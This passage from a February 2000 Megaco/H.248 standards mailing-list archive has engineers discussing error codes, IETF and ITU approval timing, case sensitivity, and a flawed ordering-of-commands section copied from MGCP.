Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.E052B170@standards.nortelnetworks.com>; Fri, 11 Feb 2000 14:04:13 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 42254 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 11 Feb 2000 14:02:59 -0500
Received: from fw3.usa.alcatel.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.4D083350@standards.nortelnetworks.com>; Fri, 11 Feb 2000 13:52:57
          -0500
Received: (from uucp@localhost) by fw3.usa.alcatel.com (8.8.8+Sun/8.8.8) id
          MAA04108 for ; Fri, 11 Feb 2000
          12:55:27 -0600 (CST)
Received: from relay2.usa.alcatel.com(10.17.102.19) by fw3 via smap (V2.0) id
          xma004072; Fri, 11 Feb 00 12:54:34 -0600
Received: from psun6.usa.alcatel.com (localhost [127.0.0.1]) by
          relay2.usa.alcatel.com (8.9.3/8.8.8) with ESMTP id MAA29110 for
          ; Fri, 11 Feb 2000 12:55:39
          -0600 (CST)
Received: from ssd.usa.alcatel.com ([127.0.0.1]) by psun6.usa.alcatel.com
          (Netscape Messaging Server 3.6)  with ESMTP id AAA3F1B for
          ; Fri, 11 Feb 2000 12:54:30 -0600
Received: from sun1654.ssd.usa.alcatel.com (sun1654.ssd.usa.alcatel.com
          [143.209.153.117]) by ssd.usa.alcatel.com (8.8.8+Sun/8.8.8) with
          ESMTP id MAA06988 for ; Fri, 11
          Feb 2000 12:53:34 -0600 (CST)
Received: from usa.alcatel.com (localhost [127.0.0.1]) by
          sun1654.ssd.usa.alcatel.com (8.9.3+Sun/8.9.1) with ESMTP id MAA16771
          for ; Fri, 11 Feb 2000 12:53:33
          -0600 (CST)
X-Mailer: Mozilla 4.61 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
References: 
            <38A44F6C.F026C20A@ericsson.com>
Content-Type: multipart/alternative;
              boundary="------------110C4F266FA916284BCC0CB8"
Message-ID:  <38A45AAD.B26EEFDD@usa.alcatel.com>
Date:         Fri, 11 Feb 2000 12:53:33 -0600
Reply-To: Chuong Nguyen 
Sender: "Media Gateway Control (megaco)"
              
From: Chuong Nguyen 
Subject:      Re: Errors and Error Codes
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

--------------110C4F266FA916284BCC0CB8
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

> >
> > B. Errors In Transaction Reply
> >
> > I'm not sure we have a procedure for handling errors in Transaction Reply.
> > Unless someone can point me to the existing text, we should add something to
> > cover the situation.
> [CHG] Do we really need this? Doesn't it depend on the application
>       what it wants to do when it encounters an error?
>

Tom , are you trying to say that the text does not talk about responsing to a
Transaction Reply
or Transaction Pending?
Are we supposed to response to Transaction Reply and Transaction Pending.
If no, we do not need all the error codes related to Transaction Reply and Transaction
Pending.
If yes, then are we going to have syntax error code for the responses to the
Transaction Reply
and Transaction Pending.  This could go on and on...

>
> >
> > 402 - Unauthorized
> >         The originator of a command is not authorized to execute that
> > command for the termination(s) affected by it.  [For messages failing
> > authentication, what is our procedure? ]
> [CHG] OK
>

I don't know about replying to authentication failure.  This would just help an attack
on MG or MGC
by making it responses to this message.

>
> >
> > *404 - Syntax Error in TransactionReply
> >         The form of a transaction reply failed to match production
> > transactionReply in Annex A, Annex B, or section D.1.2 of Annex D as
> > applicable.
> [CHG1] See comment above
>
> >
> > *405 - Syntax Error in TransactionPending
> >         The form of a transaction pending failed to match production
> > transactionPending in Annex A, Annex B, or section D.1.2 of Annex D as
> > applicable.
> [CHG1] See comment above
>

see above comments for B

> > *448 - Descriptor appears twice in a command
> [CHG] OK

except for error descriptor???

> > *461 - TransactionIDs in Reply do not match Request
> > [Can't be detected.  Should be ContextIDs rather than TransactionIDs.  See
> > comment on 411]

see above comments for B

>
> >
> > *462 - Commands in Transaction Reply do not match commands in request

see above comments for B

>
> >
> > *463 - TerminationID of Transaction Reply does not match  request
> > [Should be phrased similarly to 462]

see above comments for B

>
> >
> > *464 - Missing reply in Transaction Reply
> >         [Assuming 461 is changed to ContextIDs and given 462, this one is
> > redundant]

see above comments for B>

> > 503 - Service Unavailable
> >         [What service???  Likely conditions are covered by other error
> > codes]
> >

Is this for trying to Add, modify a termination that is out of service?


>
> > 521 - Termination is "ServiceChangeing"
> >         [Inapplicable if we get rid of Graceful ServiceChange for
> > terminations.]
> [CHG] This should stay.

Are there talk about getting rid of Graceful ServiceChange for terminations?
The text said that the termination service state is changed from in-service to test
while being
ServiceChange w/Graceful.
Can we line this 2 up with one phrase - ServiceChanging or test?

Chuong

--
  Alcatel USA, Inc             Internet: Chuong.Nguyen@usa.alcatel.com
  1000 Coit Road Plano, Texas 75075           Phone:    (972) 519-4613
  **** The opinions expressed are not those of Alcatel USA, Inc ****



--------------110C4F266FA916284BCC0CB8
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit





>

> B. Errors In Transaction Reply

>

> I'm not sure we have a procedure for handling errors in Transaction
Reply.

> Unless someone can point me to the existing text, we should add something
to

> cover the situation.

[CHG] Do we really need this? Doesn't it depend on the application

      what it wants to do when it encounters
an error?

 

Tom , are you trying to say that the text does not talk about responsing
to a Transaction Reply

or Transaction Pending?

Are we supposed to response to Transaction Reply and Transaction Pending.

If no, we do not need all the error codes related to Transaction Reply
and Transaction Pending.

If yes, then are we going to have syntax error code for the responses
to the Transaction Reply

and Transaction Pending.  This could go on and on...

 

>

> 402 - Unauthorized

>         The originator of
a command is not authorized to execute that

> command for the termination(s) affected by it.  [For messages
failing

> authentication, what is our procedure? ]

[CHG] OK

 

I don't know about replying to authentication failure.  This would
just help an attack on MG or MGC

by making it responses to this message.

 

>

> *404 - Syntax Error in TransactionReply

>         The form of a transaction
reply failed to match production

> transactionReply in Annex A, Annex B, or section D.1.2 of Annex D
as

> applicable.

[CHG1] See comment above

>

> *405 - Syntax Error in TransactionPending

>         The form of a transaction
pending failed to match production

> transactionPending in Annex A, Annex B, or section D.1.2 of Annex
D as

> applicable.

[CHG1] See comment above

 

see above comments for B

> *448 - Descriptor appears twice in a command

[CHG] OK

except for error descriptor???

> *461 - TransactionIDs in Reply do not match Request

> [Can't be detected.  Should be ContextIDs rather than TransactionIDs. 
See

> comment on 411]

see above comments for B

 

>

> *462 - Commands in Transaction Reply do not match commands in request

see above comments for B

 

>

> *463 - TerminationID of Transaction Reply does not match  request

> [Should be phrased similarly to 462]

see above comments for B

 

>

> *464 - Missing reply in Transaction Reply

>         [Assuming 461 is
changed to ContextIDs and given 462, this one is

> redundant]

see above comments for B>

> 503 - Service Unavailable

>         [What service??? 
Likely conditions are covered by other error

> codes]

>

Is this for trying to Add, modify a termination that is out of service?

 

 

> 521 - Termination is "ServiceChangeing"

>         [Inapplicable if
we get rid of Graceful ServiceChange for

> terminations.]

[CHG] This should stay.

Are there talk about getting rid of Graceful ServiceChange for terminations?

The text said that the termination service state is changed from in-service
to test while being

ServiceChange w/Graceful.

Can we line this 2 up with one phrase - ServiceChanging or test?

Chuong



-- 
  Alcatel USA, Inc             Internet: Chuong.Nguyen@usa.alcatel.com
  1000 Coit Road Plano, Texas 75075           Phone:    (972) 519-4613
  **** The opinions expressed are not those of Alcatel USA, Inc ****

 

--------------110C4F266FA916284BCC0CB8--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb 11 14:33:54 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA18008
	for ; Fri, 11 Feb 2000 14:33:52 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.85A115B0@standards.nortelnetworks.com>; Fri, 11 Feb 2000 14:30:19 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 42388 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 11 Feb 2000 14:28:22 -0500
Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.DA1184B0@standards.nortelnetworks.com>; Fri, 11 Feb 2000 14:18:22
          -0500
Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by
          mailgate.fore.com (8.9.3/8.9.3) with ESMTP id OAA27516; Fri, 11 Feb
          2000 14:20:53 -0500 (EST)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221])
          by mailman.fore.com (8.9.3/8.9.3) with ESMTP id OAA06373; Fri, 11 Feb
          2000 14:20:56 -0500 (EST)
Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id
          <1WCL8C2W>; Fri, 11 Feb 2000 14:17:29 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF208938@whq-msgusr-02.fore.com>
Date:         Fri, 11 Feb 2000 14:20:53 -0500
Reply-To: "Rosen, Brian" 
Sender: "Media Gateway Control (megaco)"
              
From: "Rosen, Brian" 
Subject:      Re: H.248 Activity
X-To:         Stephen Terrill 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

What do you propose to do if there are last call comments?

In particular, there are still discussions underway on events,
signals, and other areas.  What is it that you are deciding?
What do you do when the result of those discussions is a change,
however big or small it may be?

While no one can predict whether we will get last call comments,
I would be surprised if we didn't, if not from the list than from
IESG.

I, for one, happen to think that IESG comments are generally
good ones, and when they ask for changes, they generally result in
better, more consistent specifications.  If they make a meaningful
comment, I expect changes to the document will be required.
What shall we do with the ITU document when that happens?

Brian

> -----Original Message-----
> From: Stephen Terrill [mailto:stephen.terrill@ericsson.com]
> Sent: Friday, February 11, 2000 2:06 PM
> To: Rosen, Brian
> Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: H.248 Activity
>
>
> Hi Brain,
>
> To be clear, I support decision.  In general, I think that
> the input documents to geneva (with editors clarification)
> are what is being accepted in Geneva.  This is in accordance
> with ITU procedures.
>
> Regards,
>
> ..//Steve
>
> Rosen, Brian wrote:
>
> > You might have a "simple" concern, but unless what comes out of
> > Geneva is exactly what goes in, and unless last call produces
> > no comments that require changes, it won't work to decide it
> > in Geneva.
> >
> > No one has asked ITU to change it's fundamental approval process.
> > No one has asked IETF to change it's fundamental approval process.
> >
> > Therefore what IETF approves, following WG last call and IESG
> > last call, must be what ITU decides, and vice versa.
> > Since last call is not done, decision cannot be taken.
> >
> > In order to converge, the document really has to be stable.  Stable
> > enough that both the ITU decision process and the IETF last call
> > process produce no changes.  We are clearly not there.
> >
> > Unless one of the two bodies changes it's process, that is
> > the only way forward.  It doesn't matter what I, or anyone
> > else thinks of the stability or quality of the drafts.  It doesn't
> > matter what the market demands, or what will work the best.
> > We are stuck with the process.
> >
> > Given your stated sentiments, I would have expected you to lead
> > the fight for deciding the input document to Geneva.  That would
> > indicate stability from ITU perspective.
> >
> > I gather that was not your position.
> >
> > Brian
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb 11 14:33:56 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA18019
	for ; Fri, 11 Feb 2000 14:33:54 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.86269960@standards.nortelnetworks.com>; Fri, 11 Feb 2000 14:30:20 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 42402 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 11 Feb 2000 14:28:59 -0500
Received: from mailman.cisco.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.53567B40@standards.nortelnetworks.com>; Fri, 11 Feb 2000 14:28:55
          -0500
Received: from chsharp-tecra (ssh.cisco.com [171.69.10.34]) by
          mailman.cisco.com (8.8.8+Sun/CISCO.SERVER.1.2) with ESMTP id
          LAA14623; Fri, 11 Feb 2000 11:31:21 -0800 (PST)
X-Sender: chsharp@localhost
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Message-ID:  <4.2.2.20000211113842.00a9ad30@localhost>
Date:         Fri, 11 Feb 2000 12:30:49 -0500
Reply-To: Chip Sharp 
Sender: "Media Gateway Control (megaco)"
              
From: Chip Sharp 
Subject:      Re: Case-sensitive - Was: Hex versus Decimal Numbers
X-To:         Brian Rosen 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
In-Reply-To:  <21565C751365D211BB2D0060089624CC1FBBA9@TERRA>

A question came up on this matter at SG16.

I was wondering if the statement on case sensitive applies to things like
QuotedStrings.  Are there any other things that are case-sensitive.

I notice that "0x" has been added to some of the productions with
HexDig.  Is "0x" cases insensitive.   In addition, is the intention that
all Hex strings are preceded?
In this case, more of these things need to be added.  For example IPv4
address uses hex digits, but don't have the "0x".  This should be
consistent.  I'm not sure 0x is necessary to mark Hex digits.


SG16 would like some clarification on the scope of the statement that the
protocol is case-insensitive.  As well as the line that the Identifier is
case insensitive.

Chip


At 05:10 PM 10/29/99 -0400, Brian Rosen wrote:
>I believe the intention is that the entire protocol is not case sensitive,
>no exceptions.
>
>Others may disagree.  We surely need to say one way or the other in Annex B.
>
>Brian
>
> > -----Original Message-----
> > From: Al Varney [mailto:varney@lucent.com]
> > Sent: Friday, October 29, 1999 4:05 PM
> > To: Brian Rosen
> > Subject: Case-sensitive - Was: Hex versus Decimal Numbers
> >
> >
> > Brian and Jon Steer,
> >
> > At 15:14 10/29/1999 -0400, Brian Rosen wrote:
> > >I think you are correct, and we should make this change.
> >
> >     Maybe you two could answer some dumb questions.  MGCP spec
> > specifically said (at least for Verbs and Events) that
> > text-comparisons
> > were case-insensitive.  [ "glinesup/onhook" and "glinesup/OnHook" are
> > identical. ]
> >
> >    Is this the intent in Annex B?  (It's not stated.  If nothing else,
> > you could add a note to the NAME definition.)
> >
> >    The MGCP spec also specifies the case-insensitive treatment on an
> > object-by-object basis.  That is, Verbs are noted as case-insensitive
> > in one place, Events are noted as case-insensitive in another, etc.
> > It's not obvious if EVERYTHING is case-insensitive (URLs,
> > Domain Names,
> > etc.), or just those objects described that way in the
> >
> >    So another question (or thought experiment) is:  If I converted any
> > text-based command to both all-UPPER-CASE and all-LOWER-CASE (prior to
> > parsing), would the resulting commands both work?  If not, which items
> > (URLs, parameters to packages, SDP contents, etc.) are allowed to be
> > NON-case-insensitive?
> >
> >    Finally, if some places are case-sensitive, how does one test that
> > an implementation isn't case-sensitive in an inappropriate place?
> >
> >
> > Al Varney - Lucent Technologies  +1 630 224-7493    varney@lucent.com
> >

Support NetAid!  http://www.netaid.org
--------------------------------------------------
Chip Sharp                 Consulting Engineering
Cisco Systems              Telco Bio-region
Reality - Love it or Leave it.
--------------------------------------------------


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb 11 14:48:18 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA18194
	for ; Fri, 11 Feb 2000 14:48:11 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.7E03DB60@standards.nortelnetworks.com>; Fri, 11 Feb 2000 14:44:25 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 42445 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 11 Feb 2000 14:43:12 -0500
Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.ECA21A70@standards.nortelnetworks.com>; Fri, 11 Feb 2000 14:33:12
          -0500
Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by
          mailgate.fore.com (8.9.3/8.9.3) with ESMTP id OAA29192; Fri, 11 Feb
          2000 14:35:42 -0500 (EST)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221])
          by mailman.fore.com (8.9.3/8.9.3) with ESMTP id OAA10024; Fri, 11 Feb
          2000 14:35:45 -0500 (EST)
Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id
          <1WCL8CR7>; Fri, 11 Feb 2000 14:32:18 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF208939@whq-msgusr-02.fore.com>
Date:         Fri, 11 Feb 2000 14:35:42 -0500
Reply-To: "Rosen, Brian" 
Sender: "Media Gateway Control (megaco)"
              
From: "Rosen, Brian" 
Subject:      Re: Case-sensitive - Was: Hex versus Decimal Numbers
X-To:         Chip Sharp 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

As there is no comparison of quoted strings, I'm not sure that
it matters.  My own opinion is that quoted strings are case
sensitive.  I believe we DID wish identifiers to NOT be case
sensitive.

0x was added to hex productions that could be confused.  It was
explicitly decided to NOT use them in IPv4 addresses.

Brian

> -----Original Message-----
> From: Chip Sharp [mailto:chsharp@cisco.com]
> Sent: Friday, February 11, 2000 12:31 PM
> To: Brian Rosen; MEGACO@standards.nortelnetworks.com
> Subject: Re: Case-sensitive - Was: Hex versus Decimal Numbers
>
>
> A question came up on this matter at SG16.
>
> I was wondering if the statement on case sensitive applies to
> things like
> QuotedStrings.  Are there any other things that are case-sensitive.
>
> I notice that "0x" has been added to some of the productions with
> HexDig.  Is "0x" cases insensitive.   In addition, is the
> intention that
> all Hex strings are preceded?
> In this case, more of these things need to be added.  For
> example IPv4
> address uses hex digits, but don't have the "0x".  This should be
> consistent.  I'm not sure 0x is necessary to mark Hex digits.
>
>
> SG16 would like some clarification on the scope of the
> statement that the
> protocol is case-insensitive.  As well as the line that the
> Identifier is
> case insensitive.
>
> Chip
>
>
> At 05:10 PM 10/29/99 -0400, Brian Rosen wrote:
> >I believe the intention is that the entire protocol is not
> case sensitive,
> >no exceptions.
> >
> >Others may disagree.  We surely need to say one way or the
> other in Annex B.
> >
> >Brian
> >
> > > -----Original Message-----
> > > From: Al Varney [mailto:varney@lucent.com]
> > > Sent: Friday, October 29, 1999 4:05 PM
> > > To: Brian Rosen
> > > Subject: Case-sensitive - Was: Hex versus Decimal Numbers
> > >
> > >
> > > Brian and Jon Steer,
> > >
> > > At 15:14 10/29/1999 -0400, Brian Rosen wrote:
> > > >I think you are correct, and we should make this change.
> > >
> > >     Maybe you two could answer some dumb questions.  MGCP spec
> > > specifically said (at least for Verbs and Events) that
> > > text-comparisons
> > > were case-insensitive.  [ "glinesup/onhook" and
> "glinesup/OnHook" are
> > > identical. ]
> > >
> > >    Is this the intent in Annex B?  (It's not stated.  If
> nothing else,
> > > you could add a note to the NAME definition.)
> > >
> > >    The MGCP spec also specifies the case-insensitive
> treatment on an
> > > object-by-object basis.  That is, Verbs are noted as
> case-insensitive
> > > in one place, Events are noted as case-insensitive in
> another, etc.
> > > It's not obvious if EVERYTHING is case-insensitive (URLs,
> > > Domain Names,
> > > etc.), or just those objects described that way in the
> > >
> > >    So another question (or thought experiment) is:  If I
> converted any
> > > text-based command to both all-UPPER-CASE and
> all-LOWER-CASE (prior to
> > > parsing), would the resulting commands both work?  If
> not, which items
> > > (URLs, parameters to packages, SDP contents, etc.) are
> allowed to be
> > > NON-case-insensitive?
> > >
> > >    Finally, if some places are case-sensitive, how does
> one test that
> > > an implementation isn't case-sensitive in an inappropriate place?
> > >
> > >
> > > Al Varney - Lucent Technologies  +1 630 224-7493
> varney@lucent.com
> > >
>
> Support NetAid!  http://www.netaid.org
> --------------------------------------------------
> Chip Sharp                 Consulting Engineering
> Cisco Systems              Telco Bio-region
> Reality - Love it or Leave it.
> --------------------------------------------------
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb 11 14:48:23 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA18205
	for ; Fri, 11 Feb 2000 14:48:19 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.7E67F460@standards.nortelnetworks.com>; Fri, 11 Feb 2000 14:44:26 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 42478 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 11 Feb 2000 14:44:19 -0500
Received: from mailman.cisco.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.7A0E8550@standards.nortelnetworks.com>; Fri, 11 Feb 2000 14:44:19
          -0500
Received: from chsharp-tecra (ssh.cisco.com [171.69.10.34]) by
          mailman.cisco.com (8.8.8+Sun/CISCO.SERVER.1.2) with ESMTP id LAA21068
          for ; Fri, 11 Feb 2000 11:46:49
          -0800 (PST)
X-Sender: chsharp@localhost
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Message-ID:  <4.2.2.20000211130755.00a7e100@localhost>
Date:         Fri, 11 Feb 2000 14:44:27 -0500
Reply-To: Chip Sharp 
Sender: "Media Gateway Control (megaco)"
              
From: Chip Sharp 
Subject:      Section 9.1
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

In reviewing the comments on new Section 9.1 "Ordering of Commands" we
noticed that the text was somewhat confusing.  In particular, we considered
the following item (2) to be incorrect since we thought that the
restriction to outstanding commands applied to Terminations, not contexts.

"2.  In a given Context, there should normally be at most one outstanding
command (Add or Modify or Move).  However, a Subtract command may be issued
at any time.  In consequence, a Media Gateway may sometimes receive a
Modify command that applies to a previously subtracted Termination.  Such
commands should be ignored, and an error code should be returned."

The proposal was to replace "Context" with "Termination".

However, in further reading this section, many questions were raised as to
whether things applied to commands, transactions, contexts, etc.

In investigating the history of this section, I believe I found the source
of confusion.  It looks like this text was cut-and-pasted from the MGCP
draft (v1.05).  The problem is that after the paste, a global replace was
done replacing "endpoint" with "termination" and "connection" with
"Context".  No other text seems to be modified.

The problem is that the fundamental call model between MGCP and megaco are
different and an "endpoint" is not equivalent to "termination" and
"context" is not equivalent with "connection".  Therefore, the text in this
section is incorrect.

We would like to correct this.   Possibly by deleting those parts that
don't make sense. (e.g., item 2).  Does anyone have major heartburn?

Chip
Support NetAid!  http://www.netaid.org
--------------------------------------------------
Chip Sharp                 Consulting Engineering
Cisco Systems              Telco Bio-region
Reality - Love it or Leave it.
--------------------------------------------------


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb 11 15:19:46 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA18950
	for ; Fri, 11 Feb 2000 15:19:44 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.FA405FB0@standards.nortelnetworks.com>; Fri, 11 Feb 2000 15:16:32 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 42554 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 11 Feb 2000 15:16:09 -0500
Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.86D97C60@standards.nortelnetworks.com>; Fri, 11 Feb 2000 15:06:09
          -0500
Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by
          mailgate.fore.com (8.9.3/8.9.3) with ESMTP id PAA02684; Fri, 11 Feb
          2000 15:08:35 -0500 (EST)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221])
          by mailman.fore.com (8.9.3/8.9.3) with ESMTP id PAA18714; Fri, 11 Feb
          2000 15:08:33 -0500 (EST)
Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id
          <1WCL8DKJ>; Fri, 11 Feb 2000 15:05:06 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF20893A@whq-msgusr-02.fore.com>
Date:         Fri, 11 Feb 2000 15:08:30 -0500
Reply-To: "Rosen, Brian" 
Sender: "Media Gateway Control (megaco)"
              
From: "Rosen, Brian" 
Subject:      Re: Section 9.1
X-To:         Chip Sharp 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Your suspicion as to how 9.1 came about is 100% correct.

I am not so sure you can delete (2).  It does seem to me that
if you have more than one Modify, for example, outstanding on
a termination, you are order dependent, and thus this is not
a recommended procedure.  Thinking through the context vs.
termination issue, I believe that while in almost every case
it is acceptable to limit to one command per termination, there
are cases where it matters.  The easiest one I can think of
is Add Move.  If done in the wrong order, the context could disappear.  This
also breaks the second part of (2), doesn't it?

Brian


> -----Original Message-----
> From: Chip Sharp [mailto:chsharp@cisco.com]
> Sent: Friday, February 11, 2000 2:44 PM
> To: MEGACO@standards.nortelnetworks.com
> Subject: Section 9.1
>
>
> In reviewing the comments on new Section 9.1 "Ordering of Commands" we
> noticed that the text was somewhat confusing.  In particular,
> we considered
> the following item (2) to be incorrect since we thought that the
> restriction to outstanding commands applied to Terminations,
> not contexts.
>
> "2.  In a given Context, there should normally be at most one
> outstanding
> command (Add or Modify or Move).  However, a Subtract command
> may be issued
> at any time.  In consequence, a Media Gateway may sometimes receive a
> Modify command that applies to a previously subtracted
> Termination.  Such
> commands should be ignored, and an error code should be returned."
>
> The proposal was to replace "Context" with "Termination".
>
> However, in further reading this section, many questions were
> raised as to
> whether things applied to commands, transactions, contexts, etc.
>
> In investigating the history of this section, I believe I
> found the source
> of confusion.  It looks like this text was cut-and-pasted
> from the MGCP
> draft (v1.05).  The problem is that after the paste, a global
> replace was
> done replacing "endpoint" with "termination" and "connection" with
> "Context".  No other text seems to be modified.
>
> The problem is that the fundamental call model between MGCP
> and megaco are
> different and an "endpoint" is not equivalent to "termination" and
> "context" is not equivalent with "connection".  Therefore,
> the text in this
> section is incorrect.
>
> We would like to correct this.   Possibly by deleting those parts that
> don't make sense. (e.g., item 2).  Does anyone have major heartburn?
>
> Chip
> Support NetAid!  http://www.netaid.org
> --------------------------------------------------
> Chip Sharp                 Consulting Engineering
> Cisco Systems              Telco Bio-region
> Reality - Love it or Leave it.
> --------------------------------------------------
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb 11 15:37:52 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA19538
	for ; Fri, 11 Feb 2000 15:37:48 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.80294F40@standards.nortelnetworks.com>; Fri, 11 Feb 2000 15:34:35 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 42600 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 11 Feb 2000 15:33:14 -0500
Received: from smtprch1.nortel.com (192.135.215.14) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.4FE3FAB0@standards.nortelnetworks.com>; Fri, 11 Feb 2000
          15:33:14 -0500
Received: from zmers013 by smtprch1.nortel.com; Fri, 11 Feb 2000 14:35:09 -0600
Received: from zcard00m.ca.nortel.com (actually zcard00m) by zmers013; Fri, 11
          Feb 2000 15:34:48 -0500
Received: from zcard00f.ca.nortel.com ([47.129.30.8]) by zcard00m.ca.nortel.com
          with SMTP (Microsoft Exchange Internet Mail Service Version
          5.5.2650.21) id 1SYCKVN0; Fri, 11 Feb 2000 15:34:47 -0500
Received: from americasm01.nt.com (wcars052.ca.nortel.com [47.128.210.104]) by
          zcard00f.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail
          Service Version 5.5.2448.0) id DMXAJXBC; Fri, 11 Feb 2000 15:34:47
          -0500
X-Mailer: Mozilla 4.6 [en] (X11; I; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
References: <4.2.2.20000211113842.00a9ad30@localhost>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <38A472D4.D4B9DD10@americasm01.nt.com>
Date:         Fri, 11 Feb 2000 15:36:37 -0500
Reply-To: Abdallah Rayhan 
Sender: "Media Gateway Control (megaco)"
              
From: Abdallah Rayhan 
Organization: Nortel Networks
Subject:      Re: Case-sensitive - Was: Hex versus Decimal Numbers
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

I believe that the protocol is case-insensitive. That was the intention
and still is. Is there a place where it differs ? No! quotedString may
have an exception but I think it should not be the case. We use quotedString
as a relaxed VALUE that is if VALUE does not allow certain chars
to be used, then quotedString is the way out. If the protocol uses scripts
